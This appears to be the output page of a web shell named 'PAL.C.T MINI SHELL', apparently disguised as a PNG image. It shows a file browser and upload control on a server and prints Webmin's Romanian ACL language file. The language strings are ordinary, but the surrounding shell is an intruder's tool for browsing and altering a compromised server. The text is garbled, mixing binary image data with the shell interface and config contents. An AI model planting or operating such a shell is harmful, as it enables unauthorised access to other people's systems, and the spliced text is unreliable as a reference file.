php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/ro.auto

index_title=Utilizatori Webmin
index_user=Utilizator
index_modules=module
index_create=Creați un nou utilizator privilegiat.
index_screate=Creați un utilizator nou sigur.
index_convert=Convertiți Unix în utilizatori Webmin
index_cert=Solicitați un certificat SSL
index_twofactor=Autentificare cu doi factori
index_certmsg=Faceți clic pe acest buton pentru a solicita un certificat SSL care vă va permite să vă conectați în siguranță la Webmin fără a fi necesar să introduceți un nume de utilizator și o parolă.
index_return=lista de utilizatori
index_none=Nici unul
index_edit=Modificare ACL pentru modul:
index_global=ACL global
index_users=Utilizatori Webmin
index_groups=Grupuri Webmin
index_group=grup
index_nousers=Nu au fost definiți utilizatori Webmin editabili.
index_nogroups=Nu au fost definite grupuri Webmin.
index_gcreate=Creați un nou grup Webmin.
index_members=Membrii
index_modgroups=Module din grupul $1 
index_sync=Configurați sincronizarea utilizatorului Unix
index_unix=Configurați autentificarea utilizatorului Unix
index_sessions=Vizualizați sesiunile de conectare
index_rbac=Configurare RBAC
index_delete=Sterge selectia
index_joingroup=Adaugă în grup:
index_eulist=Nu a reușit să enumere utilizatorii: $1 
index_eglist=Eroare la listarea grupurilor: $1 

edit_title=Editați Utilizatorul Webmin
edit_title2=Creați un utilizator Webmin
edit_title3=Creați un utilizator Webmin sigur
edit_readonly=Acest utilizator Webmin nu trebuie editat, deoarece este gestionat de modulul $1. <a href='$2'>Faceți clic aici</a> pentru a ocoli acest avertisment și a edita oricum utilizatorul - dar aveți grijă că orice modificări manuale pot fi supra-scrise!
edit_rights=Drepturi de acces pentru utilizatori Webmin
edit_user=Nume de utilizator
edit_cloneof=Clonare utilizator Webmin
edit_real=Nume real
edit_group=Membru al grupului
edit_pass=Parola
edit_same=La fel ca Unix
edit_lock=Nu a fost acceptată parola
edit_pam=Autentificare PAM
edit_unix=Autentificare Unix
edit_extauth=Program de autentificare externă
edit_dont=Nu schimba
edit_set=Setat la
edit_passlocked=Parola nu a fost modificată timp de $1 zile - cont blocat!
edit_passmax=Parola nu a fost schimbată timp de $1 zile - trebuie schimbată la următoarea autentificare
edit_passold=Parola a fost modificată ultima dată cu $1 acum zile
edit_passtoday=Parola a fost schimbată cu mai puțin de o zi în urmă
edit_modules=module
edit_clone=Clone
edit_twofactor=Tipul de autentificare cu doi factori
edit_twofactorprov=Utilizarea furnizorului $1 cu ID $2 
edit_twofactorcancel=Eliminați cerința de autentificare cu doi factori
edit_twofactornone=Nici o configurație nu este încă
edit_twofactoradd=Activați două factori pentru utilizator
edit_lang=Limba
edit_notabs=Categorizați modulele?
edit_logout=Timp de deconectare a inactivității
edit_mins=minute
edit_chars=scrisori
edit_minsize=Lungimea minimă a parolei
edit_nochange=Să aplicați zilele de schimbare a parolei?
edit_cert=Numele certificatului SSL
edit_none=Nici unul
edit_ips=Control acces IP
edit_all=Permiteți din toate adresele
edit_allow=Permiteți numai de la adresele enumerate
edit_deny=Refuză adresele enumerate
edit_ipdesc=Controlul de acces IP al utilizatorului funcționează în același mod ca și controlul global de acces IP din modulul de configurare Webmin. Numai dacă un utilizator trece controlele globale vor fi verificate și aici.
edit_skill=Nivelul de aptitudine
edit_risk=Nivel de risc
edit_risk_high=Super utilizator
edit_risk_medium=Utilizator de administrator
edit_risk_low=Utilizator normal
edit_groupmods=(Pe lângă module din grup)
edit_euser=Nu aveți voie să editați acest utilizator
edit_egone=Utilizatorul selectat nu mai există!
edit_ecreate=Nu aveți voie să creați utilizatori
edit_theme=Tema personală a utilizatorului
edit_themeglobal=De la Webmin Configuration
edit_themedef=Tema veche de Webmin
edit_overlay=Suprapunerea temei personale
edit_overlayglobal=Niciunul - folosiți setările implicite
edit_log=Vizualizați jurnalele
edit_selall=Selectează tot
edit_invert=Inverseaza selectia
edit_hide=Ascundeți neutilizat
edit_switch=Comutați la utilizator
edit_return=Utilizator Webmin
edit_return2=Grupul Webmin
edit_rbacdeny=Mod de acces RBAC
edit_rbacdeny0=RBAC controlează doar ACL-urile modulului selectat
edit_rbacdeny1=RBAC controlează toate modulele și ACL-urile
edit_global=Permisiunile pentru toate modulele
edit_templock=Blocat temporar
edit_temppass=Forțați schimbarea la următoarea autentificare
edit_days=Zilele permise ale săptămânii
edit_alldays=In fiecare zi
edit_seldays=Numai zile selectate..
edit_hours=Perioade permise ale zilei
edit_allhours=În orice moment
edit_selhours=De la $1:$2 la $3 : $4 
edit_ui=Opțiuni de interfață utilizator
edit_security=Opțiuni de securitate și limite
edit_mods=Module Webmin disponibile
edit_modsg=Module Webmin disponibile (pe lângă cele din grup)
edit_proto=Tipul de depozitare
edit_proto_mysql=Baza de date MySQL
edit_proto_postgresql=Baza de date PostgreSQL
edit_proto_ldap=Server LDAP
edit_proto_=Fisiere locale
edit_safe=Nivelul privilegiilor
edit_safe0=nerestricţionat
edit_safe1=Doar module sigure
edit_unsafe=Resetați la nelimitat

save_err=Nu a reușit salvarea utilizatorului
save_ename=„$1” nu este un nume de utilizator valid
save_eunixname=Numele de utilizator „$1” nu este un utilizator Unix, deci nu poate fi utilizat în modul sigur
save_enamewebmin=Numele de utilizator „webmin” este rezervat pentru uz intern
save_edup=Numele de utilizator „$1” este deja în uz
save_eoverlay=O suprapunere de temă nu poate fi selectată decât dacă este o temă
save_edeny=nu vă puteți refuza accesul la modulul Utilizatori Webmin
save_eos=Aceeași opțiune de parolă Unix nu este acceptată pe sistemul dvs. de operare.
save_emd5=Aceeași opțiune de parolă Unix nu poate fi utilizată pe sisteme cu criptare MD5
save_eunix=Utilizatorul Unix „$1” nu există
save_emod=Nu puteți acorda acces la modulul „$1”
save_ecreate=Nu aveți voie să creați utilizatori
save_euser=Nu aveți voie să editați acest utilizator
save_ecolon=Parolele nu pot conține caracterul:
save_epass=Parola nu este validă: $1 
save_eself=Adresa IP curentă ( $1 ) ar fi refuzată
save_epam=Autentificarea PAM nu este disponibilă deoarece <tt>Authen::PAM</tt> Modulul Perl nu este instalat sau nu funcționează corect.
save_epam2=Puteți utiliza modulul Permin Module Webmin pentru a <a href='$1'>descărca și instala acum Authen::PAM</a>.
save_egroup=Nu aveți voie să vă atribuiți grupului respectiv
save_enone=Nu au fost introduse adrese
save_enet=„$1” nu este o adresă de rețea validă
save_emask=„$1” nu este o mască netă validă
save_eip=„$1” nu este o adresă IP completă sau de rețea
save_ehost=Nu a putut găsi adresa IP pentru „$1”
save_elogouttime=Timpul de deconectare lipsește sau nu este numeric
save_eminsize=Lipsă sau non-numerică lungimea minimă a parolei
save_edays=Fără zile pentru a permite selectarea
save_ehours=Timpurile lipsă sau invalide pentru a permite
save_ehours2=Ora de începere pentru a permite trebuie să fie înainte de sfârșit
save_etemp=Opțiunea de a forța o modificare a parolei la următoarea autentificare nu poate fi utilizată decât dacă <a href='$1'>solicită utilizatorilor să introducă parole noi</a>

delete_err=Nu a reușit ștergerea utilizatorului
delete_eself=Nu te poți șterge
delete_ecannot=Nu aveți voie să ștergeți utilizatorii
delete_euser=Nu aveți voie să ștergeți acest utilizator
delete_eanonuser=Acest utilizator este utilizat pentru acces la modulul anonim

cert_title=Cerere certificat
cert_issue=Certificat de emitere
cert_header=Detalii de certificat noi
cert_msg=Acest formular vă permite să solicitați un certificat de client SSL care va fi utilizat în viitor pentru a vă oferi acces la Webmin în loc de nume de utilizator și parolă. Acest lucru este mai sigur, dar, deoarece autentificarea este automată, nu veți putea trece la un utilizator diferit atunci când utilizați certificatul.
cert_ebrowser=Webmin nu știe să emită certificate de client pentru browserul dvs. ( $1 )
cert_cn=Numele dumneavoastră
cert_email=Adresa de email
cert_ou=Departament
cert_o=Organizare
cert_sp=Stat
cert_c=Codul tarii
cert_key=Dimensiunea cheii
cert_done=Certificatul dvs. pentru $1 a fost generat cu succes.
cert_pickup=<a href='$1'>Faceți clic aici pentru a ridica certificatul și a-l instala în browser</a>
cert_install=Instalați certificatul în browser
cert_ekey=O nouă cheie SSL nu a fost trimisă de browser - poate că nu acceptă certificate de client SSL.
cert_eca=Eroare la configurarea autorității de certificare: $1 
cert_already=Avertisment - utilizați deja certificatul $1.
cert_etempdir=Fișier certificat nevalid

acl_title=Controlul accesului modulului
acl_title2=Pentru $1 în $2 
acl_title3=Pentru grupul $1 din $2 
acl_options= $1 opțiuni de control de acces
acl_config=Poate edita configurația modulului?
acl_reset=Resetați la acces complet
acl_rbac=Obțineți setări de control de acces de la RBAC?
acl_rbacyes=Da (înlocuiește setările de mai jos)

acl_uall=Toți utilizatorii
acl_uthis=Acest utilizator
acl_usel=Utilizatori selectați..
acl_gr=Membrii $1 
acl_users=Utilizatori care pot fi editați
acl_mods=Pot acorda acces la
acl_all=Toate modulele
acl_own=Numai propriile sale module
acl_sel=Module selectate..
acl_create=Pot crea utilizatori noi?
acl_delete=Pot șterge utilizatorii?
acl_rename=Pot redenumi utilizatorii?
acl_acl=Poate edita controlul accesului modulului?
acl_lang=Poate schimba limba?
acl_chcert=Poate schimba numele certificatului SSL?
acl_euser=Nu aveți voie să editați ACL pentru acest utilizator
acl_egroup=Nu aveți voie să editați ACL-urile de grup
acl_emod=Nu aveți voie să editați ACL pentru acest modul
acl_others=Pot vedea module inaccesibile?
acl_cert=Pot solicita certificat?
acl_err=Nu a reușit să salvați controlul de acces
acl_groups=Poate edita grupuri?
acl_gassign=Poate atribui utilizatori la grupuri
acl_gall=Toate grupurile
acl_gsel=Selectat..
acl_gnone=Nici unul
acl_perms=Utilizatorii nou creați primesc
acl_perms_1=Același control de acces al modulului ca și creator
acl_perms_0=Controlul accesului modulului implicit (fără restricții)
acl_sync=Poate configura sincronizarea utilizatorului?
acl_unix=Poate configura autentificarea unix?
acl_sessions=Pot vedea și anula sesiunile de autentificare?
acl_cats=Poate schimba clasificarea?
acl_theme=Poate schimba tema personală?
acl_ips=Poate schimba controlul accesului IP?
acl_switch=Se poate trece la alți utilizatori?
acl_times=Se pot schimba orele de conectare permise?
acl_pass=Poți schimba restricțiile de parolă?
acl_sql=Poate configura baza de date de utilizator și de grup?

log_modify=Utilizator Webmin modificat $1 
log_rename=Redenumit utilizator Webmin $1 la $2 
log_create=Utilizator Webmin creat $1 
log_clone=Utilizator Webmin clonat $1 la $2 
log_delete=Utilizatorul Webmin șters $1 
log_acl=Acces actualizat pentru $1 în $2 
log_reset=Resetați accesul pentru $1 în $2 
log_cert=Certificat eliberat pentru utilizator $1 
log_modify_g=Grup modificat Webmin $1 
log_rename_g=Redenumit grupul Webmin $1 la $2 
log_create_g=Grupul Webmin creat $1 
log_delete_g=Grupul Webmin șters $1 
log_switch=S-a trecut la utilizatorul Webmin $1 
log_delete_users=S-au șters $1 Utilizatorii Webmin
log_delete_groups=Șterse $1 Grupuri Webmin
log_joingroup=Au fost adăugați $1 Utilizatorii Webmin pentru a grupa $2 
log_pass=Restricții de parolă modificate
log_unix=Modificare autentificare utilizator unix
log_sync=S-a schimbat sincronizarea utilizatorului unix
log_sql=S-a schimbat baza de date de utilizator și grup
log_twofactor=Utilizator înscris $1 cu un furnizor cu doi factori $2 
log_onefactor=Utilizator dezabonat $1 pentru autentificarea cu doi factori

gedit_ecannot=Nu aveți voie să editați grupuri
gedit_title=Editați Webmin Group
gedit_title2=Creați grupul Webmin
gedit_group=Numele Grupului
gedit_rights=Drepturi de acces la grupul Webmin
gedit_modules=Modulele membrilor
gedit_members=Utilizatori și grupuri de membri
gedit_desc=Descrierea Grupului
gedit_egone=Grupul selectat nu mai există!

gdelete_err=Nu a reușit ștergerea grupului
gdelete_ecannot=Nu aveți voie să ștergeți grupuri
gdelete_euser=Nu puteți șterge propriul grup
gdelete_esub=Grupurile cu subgrupuri nu pot fi șterse
gdelete_title=Ștergeți grupul
gdelete_desc=Sigur doriți să ștergeți grupul $1 și utilizatorii membri $2 ?
gdelete_ok=Ștergeți grupul

gsave_err=Nu a reușit să salveze grupul
gsave_ename=Numele grupului lipsă sau nevalid
gsave_enamewebmin=Numele grupului „webmin” este rezervat pentru uz intern
gsave_edup=Numele grupului este deja utilizat
gsave_edesc=Descriere nevalidă - caracterul: nu este permis

convert_title=Conversia utilizatorilor
convert_ecannot=Nu aveți voie să convertiți utilizatorul Unix
convert_nogroups=Nu s-au definit grupuri Webmin pe sistemul dvs. Înainte de conversie, trebuie să fie creat cel puțin un grup pentru a defini permisiunile pentru utilizatorii convertiți.
convert_desc=Acest formular vă permite să convertiți utilizatorii Unix existenți în utilizatori Webmin. Permisiunile fiecărui nou utilizator Webmin vor fi determinate de grupul selectat mai jos.
convert_0=Toți utilizatorii
convert_1=Numai utilizatorii
convert_2=Toate cu excepția utilizatorilor
convert_3=Utilizatori cu grup
convert_4=Utilizatori cu UID-uri în interval
convert_group=Alocați utilizatori noi la grupul Webmin
convert_sync2=Sincronizați parola cu utilizatorul Unix în viitor?
convert_ok=Convertiți acum
convert_err=Conversia utilizatorilor nu a reușit
convert_eusers=Nu a fost introdus niciun utilizator pentru a converti
convert_egroup=Grupul Unix nu există
convert_emin=UID minim nevalid
convert_emax=UID maxim nevalid
convert_ewgroup=Nu există un astfel de grup Webmin
convert_ewgroup2=Nu aveți voie să atribuiți noi utilizatori acestui grup
convert_skip= $1 fiind omis
convert_exists= $1 există deja
convert_invalid= $1 nu este un nume de utilizator Webmin valid
convert_added=Se adaugă $1 
convert_msg=Conversia utilizatorilor Unix...
convert_user=Utilizator Unix
convert_action=Acțiunile întreprinse
convert_done= $1 utilizatori convertiți, $2 invalide, $3 există deja, $4 exclus.
convert_users=Utilizatori pentru a converti

sync_title=Sincronizare utilizator Unix
sync_desc=Acest formular vă permite să configurați sincronizarea automată a utilizatorilor Unix creați prin Webmin și a utilizatorilor din acest modul.
sync_nogroups=Nu s-au definit grupuri Webmin pe sistemul dvs. Cel puțin un grup trebuie creat pentru a seta accesul utilizatorilor creați.
sync_when=Când se sincronizează
sync_create=Creați un utilizator Webmin când este creat un utilizator Unix.
sync_update=Actualizați utilizatorul Webmin potrivit atunci când este actualizat un utilizator Unix.
sync_delete=Ștergeți utilizatorul Webmin potrivit atunci când un utilizator Unix este șters.
sync_modify=Redenumiți utilizatorul Webmin corespunzător atunci când un utilizator Unix este redenumit.
sync_group=Alocați utilizatori noi la grupul Webmin
sync_unix=Setați parola pentru utilizatorii noi la autentificarea Unix.
sync_ecannot=Nu aveți voie să configurați sincronizarea utilizatorului.

unix_title=Autentificare utilizator Unix
unix_err=Nu a reușit să salveze autentificarea Unix
unix_desc=Această pagină vă permite să configurați Webmin pentru a valida încercările de conectare împotriva listei de utilizatori a sistemului și PAM. Acest lucru poate fi util dacă aveți un număr mare de utilizatori Unix existenți care doriți să ofere acces la Webmin.
unix_def=Permiteți doar utilizatorii Webmin să se autentifice
unix_sel=Permiteți utilizatorilor Unix enumerați mai jos să se autentifice..
unix_mode=Permite
unix_mall=Toți utilizatorii
unix_group=Membrii grupului..
unix_user=Utilizator Unix..
unix_who=Utilizator sau grup
unix_to=Ca utilizator Webmin
unix_ecannot=Nu aveți voie să configurați autentificarea utilizatorului Unix
unix_epam=Autentificarea Unix nu este disponibilă deoarece <tt>Authen::PAM</tt> Modulul Perl nu este instalat sau nu funcționează corect.
unix_all=Permiteți tuturor utilizatorilor Unix
unix_allow=Permiteți doar utilizatorii listați Unix
unix_deny=Refuză utilizatorii Unix enumerați
unix_none=Nu a fost introdus niciun utilizator
unix_euser=„$1” nu este un nume de utilizator valid
unix_egroup=„$1” nu este un nume de grup valid
unix_shells=Refuză utilizatorii Unix ale căror shell-uri nu sunt în fișier
unix_eshells=Fișier shell-uri lipsă sau inexistent
unix_restrict2=Restricții suplimentare
unix_ewhogroup=Lipsește grupul pentru a permite în rândul $1 
unix_ewhouser=Utilizator care lipsește pentru a permite rândul $1 
unix_enone=Nu este permisă introducerea de utilizatori sau grupuri Unix
unix_same=&lt;Același utilizator sau grup&gt;
unix_sudo=Permiteți utilizatorilor care pot rula toate comenzile prin <tt>sudo</tt> să se autentifice ca <tt>root</tt>
unix_pamany=Tratați autentificările care trec doar validarea PAM ca $1 
unix_esudo=Comanda $1 nu este instalată
unix_esudomod=Modulul Perl $1 necesar pentru <tt>sudo</tt> autentificare nu este instalat
unix_header=Setări de autentificare utilizator Unix
unix_utable=Utilizatori Unix autorizați

sessions_title=Sesiuni de autentificare curente
sessions_id=Sesiune ID
sessions_user=Utilizator Webmin
sessions_login=Ultima activitate la
sessions_host=adresa IP
sessions_lview=Vizualizați jurnalele..
sessions_actions=Acțiuni..
sessions_all=Toate sesiunile..
sessions_logouts=Arată, de asemenea, sesiuni deconectate..
sessions_state=Stat
sessions_this=Această autentificare
sessions_in=Conectat
sessions_out=Delogat
sessions_kill=Deconectat..

logins_title=Conectări Webmin recente

hide_title=Ascundeți modulele neutilizate
hide_desc=Următoarele module vor fi eliminate din lista de acces a modulului pentru $1 deoarece serverele corespunzătoare nu sunt instalate pe sistemul dvs.
hide_ok=Ascundeți modulele acum
hide_none=Nimic de ascuns - $1 nu are acces la niciun modul al cărui servere corespunzătoare nu sunt instalate pe sistemul dvs.
hide_desc2=Rețineți că aceste module nu vor mai apărea automat dacă sunt instalate serverele corespunzătoare. Va trebui să acordați accesul manual folosind acest modul.
hide_clone=(Clonă $1 )

switch_euser=Nu aveți voie să comutați la acest utilizator
switch_eold=Sesiunea existentă nu a fost găsită!

rbac_title=Configurare RBAC
rbac_desc=Integrarea RBAC de Webmin oferă o modalitate de a determina modulul de utilizator și permisiunile ACL dintr-o bază de date RBAC (Role Based Access Control), mai degrabă decât fișierele de configurare proprii ale Webmin. După ce este activat suportul RBAC, orice utilizator pentru care este selectată opțiunea <b>RBAC controlează toate modulele și opțiunile ACL</b> va avea capacitățile sale determinate de RBAC, mai degrabă decât setările proprii de control de acces Webmin.
rbac_esolaris=RBAC este acceptat doar pe Solaris în acest moment, deci nu poate fi folosit pe acest sistem $1.
rbac_eperl=Modulul Perl $1 necesar pentru integrarea RBAC nu este instalat. <a href='$2'>Faceți clic aici</a> pentru a-l instala acum.
rbac_ecpan=Nu aveți acces la pagina Modulelor Perl Webmin pentru a instala $1 modul necesar pentru integrarea RBAC.
rbac_ok=Integrarea RBAC este disponibilă pe acest sistem și poate fi activată pe utilizator pe pagina Editare utilizator Webmin.

udeletes_err=Nu a reușit să ștergeți utilizatorii
udeletes_jerr=Nu a putut adăuga utilizatori la grup
udeletes_enone=Nimic selectat
udeletes_title=Ștergeți utilizatorii
udeletes_rusure=Sigur doriți să ștergeți $1 utilizatorii selectați? Toate setările lor de control de acces și detaliile utilizatorului vor fi pierdute.
udeletes_users=Utilizatori selectați: $1 
udeletes_ok=Ștergeți utilizatorii
udeletes_ereadonly=Unul dintre utilizatorii selectați este marcat ca ne-modificabil

gdeletes_err=Nu a reușit ștergerea grupurilor
gdeletes_title=Ștergeți grupuri
gdeletes_rusure=Sigur doriți să ștergeți grupurile selectate $1 și $2 utilizatorii pe care îi conțin? Toate setările lor de control de acces și detaliile utilizatorului vor fi pierdute.
gdeletes_users=Grupuri selectate: $1 
gdeletes_ok=Ștergeți grupuri

pass_title=Restricții de parolă
pass_ecannot=Nu aveți voie să editați restricții de parolă
pass_header=Opțiuni de aplicare a parolelor Webmin
pass_minsize=Lungimea minimă a parolei
pass_nominsize=Fără minim
pass_regexps=Parolele expresiilor obișnuite trebuie să corespundă
pass_regdesc=Descrierea care poate fi citită de om pentru expresie regulată
pass_maxdays=Zile înainte de parola trebuie schimbate
pass_lockdays=Zile înainte de parola neschimbată blochează contul
pass_nomaxdays=Schimbare nu este necesară
pass_nolockdays=Contul nu este niciodată blocat
pass_nouser=Nu permiteți parolele care conțin nume de utilizator?
pass_nodict=Nu permiteți parolele cuvintelor din dicționar?
pass_oldblock=Număr de parole vechi de respins
pass_nooldblock=Nicio limită la reutilizarea parolelor
pass_days=zi
pass_pass=parole
pass_err=Nu a reușit să salvați restricțiile de parolă
pass_eminsize=Lipsă sau non-numerică lungimea minimă a parolei
pass_emaxdays=Lipsește un număr sau un număr de zile înainte de schimbare
pass_elockdays=Număr de zile lipsă sau nenumerotat înainte ca contul să fie blocat
pass_eoldblock=Număr lipsit sau numeric de parole vechi de respins

cpass_minsize=Trebuie să aibă cel puțin $1 litere lungi
cpass_notre=Corespunde cu un model nepermis
cpass_re=Nu se potrivește cu un model necesar
cpass_name=Conține numele de utilizator
cpass_dict=Este un cuvânt de dicționar
cpass_spellcmd=Nici comenzile $1 sau $2 necesare pentru verificarea cuvintelor din dicționar nu sunt instalate
cpass_old=Parolele vechi nu pot fi reutilizate

sql_title=Baza de date utilizator și grup
sql_ecannot=Nu aveți voie să configurați baza de date de utilizator și de grup
sql_header=Opțiuni pentru backendul bazei de date pentru utilizatori și grupuri
sql_host=Numele gazdei
sql_user=Nume de utilizator
sql_pass=Parola
sql_db=Numele bazei de date
sql_ssl=Criptarea conexiunii
sql_ssl0=Nici unul
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=Clasa de obiecte pentru utilizatori
sql_groupclass=Clasa de obiecte pentru grupuri
sql_euserclass=Clasa de obiect lipsă sau nevalidă pentru utilizatori
sql_egroupclass=Clasa de obiect lipsă sau nevalidă pentru grupuri
sql_none=Utilizați numai fișiere locale pentru a stoca utilizatori și grupuri
sql_mysql=Utilizați baza de date MySQL
sql_postgresql=Utilizați baza de date PostgreSQL
sql_ldap=Utilizați serverul LDAP
sql_prefix=Creați sub DN
sql_addto0=Adăugați utilizatori noi la baza de date selectată mai sus
sql_addto1=Adăugați utilizatori noi la fișierele locale
sql_nocache0=Conexiuni cache la baza de date
sql_nocache1=Deschideți o nouă conexiune pentru fiecare căutare
sql_emod=Lipsește modulul Perl necesar <tt>$1</tt>
sql_etable=Nu a reușit să interogheze tabelul necesar $1:$2 
sql_eldapdn=DNAP de bază DN $1 nu a fost găsit
sql_eclass=Clasa de obiect LDAP $1 nu există în schema serverului
sql_err=Nu a reușit salvarea setărilor bazei de date a utilizatorilor și a grupului
sql_ehost=Numele de gazdă care lipsește sau nu poate fi rezolvat
sql_euser=Nume de utilizator lipsă sau nevalid (fără spații permise)
sql_epass=Parolă nevalidă (fără spații permise)
sql_edb=Nume bază de date nevalid (nu sunt permise spații)
sql_eprefix=DN de bază lipsă sau nevalid (fără spații permise)
sql_eprefix2=DN de bază cu aspect nevalid - ar trebui să fie ca <tt>dc = mydomain, dc = com</tt>
sql_title2=Creați tabele lipsă
sql_tableerr=Setările bazei de date a utilizatorului și a grupului sunt valabile, dar unele tabele necesare de Webmin lipsesc: $1 
sql_tableerr2=Faceți clic pe butonul <b>Creare tabele</b> de mai jos pentru a le crea automat sau executați manual SQL de mai jos.
sql_make=Creați tabele
sql_title3=Creați DN lipsă
sql_dnerr=Setările bazei de date a utilizatorului și a grupului sunt valabile, dar DNAP-ul LDAP necesar de Webmin lipsește: $1 
sql_dnerr2=Faceți clic pe butonul <b>Creare DN</b> de mai jos pentru a-l crea automat, sau adăugați-l manual pe serverul dvs. LDAP.
sql_makedn=Creați DN
sql_schema=Descărcați schema LDAP
sql_timeout_def=Utilizați expirarea implicită a conexiunii (60 de secunde)
sql_timeout_for=Închideți conexiunile cache după
sql_timeout_secs=secunde
sql_etimeout=Expirarea conexiunii în cache trebuie să fie un număr

make_title=Creați tabele de utilizator și de grup
make_err=Nu a reușit să creeze tabele de utilizator și de grup
make_exec=Executarea SQL $1..
make_failed=.. crearea nu a reușit: $1 
make_done=.. Terminat
make_still=Unele probleme au fost găsite chiar și după crearea tabelului: $1 

makedn_title=Creați LDAP DN
makedn_eoc=Nu s-au găsit clase de obiecte structurale!
makedn_exec=Crearea DN-ului părinte $1..
makedn_failed=.. crearea nu a reușit: $1 
makedn_done=.. Terminat
makedn_still=Unele probleme au fost găsite chiar și după crearea DN: $1 

schema_title=Descărcați schema LDAP
schema_desc=Înainte ca Webmin să poată utiliza un server LDAP pentru a stoca utilizatori și grupuri, acesta trebuie configurat pentru a utiliza schema de mai jos. Acest lucru se poate realiza de obicei salvând definiția schemei în <tt>/etc/ldap/schema</tt> sau <tt>/etc/openldap/schema</tt> ca <tt>webmin.schema</tt>, apoi configurarea serverului pentru a încărca acel fișier de schemă.
schema_download=Descărcați fișierul de schemă: <a href=$1>$1</a>

twofactor_err=Eroare la configurarea autentificării în doi factori
twofactor_euser=Utilizatorul dvs. Webmin nu a fost găsit!
twofactor_title=Autentificare cu doi factori
twofactor_disable=Dezactivați autentificarea cu doi factori
twofactor_already=Logarea dvs. Webmin are deja autentificare cu doi factori activată cu furnizorul $1 și ID-ul contului $2.
twofactor_already2=Autentificare Webmin $3 are deja autentificare cu doi factori activată cu furnizorul $1 și ID-ul contului $2.
twofactor_desc=Această pagină vă permite să activați autentificarea în doi factori pentru autentificarea dvs. Webmin folosind <a href='$2' target=_blank>$1</a>. Odată activat, va fi necesar un jeton de autentificare suplimentar la conectarea pe Webmin.
twofactor_desc2=Această pagină vă permite să activați autentificarea cu doi factori pentru conectarea Webmin $3 folosind <a href='$2' target=_blank>$1</a> >. Odată activat, va fi necesar un jeton de autentificare suplimentar la conectarea pe Webmin.
twofactor_enable=Înscrieți-vă pentru autentificarea cu doi factori
twofactor_header=Detalii de înscriere cu autentificare în doi factori
twofactor_enrolling=Înscrierea pentru autentificarea cu doi factori cu furnizorul $1..
twofactor_failed=.. înscrierea a eșuat: $1 
twofactor_done=.. complet. ID-ul dvs. cu acest furnizor este <tt>$1</tt>.
twofactor_setup=Autentificarea cu doi factori nu a fost încă activată pe acest sistem, dar poate fi activată folosind modulul <a href='$1'>Webmin Configuration</a>.
twofactor_ebutton=Nu a apăsat niciun buton!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`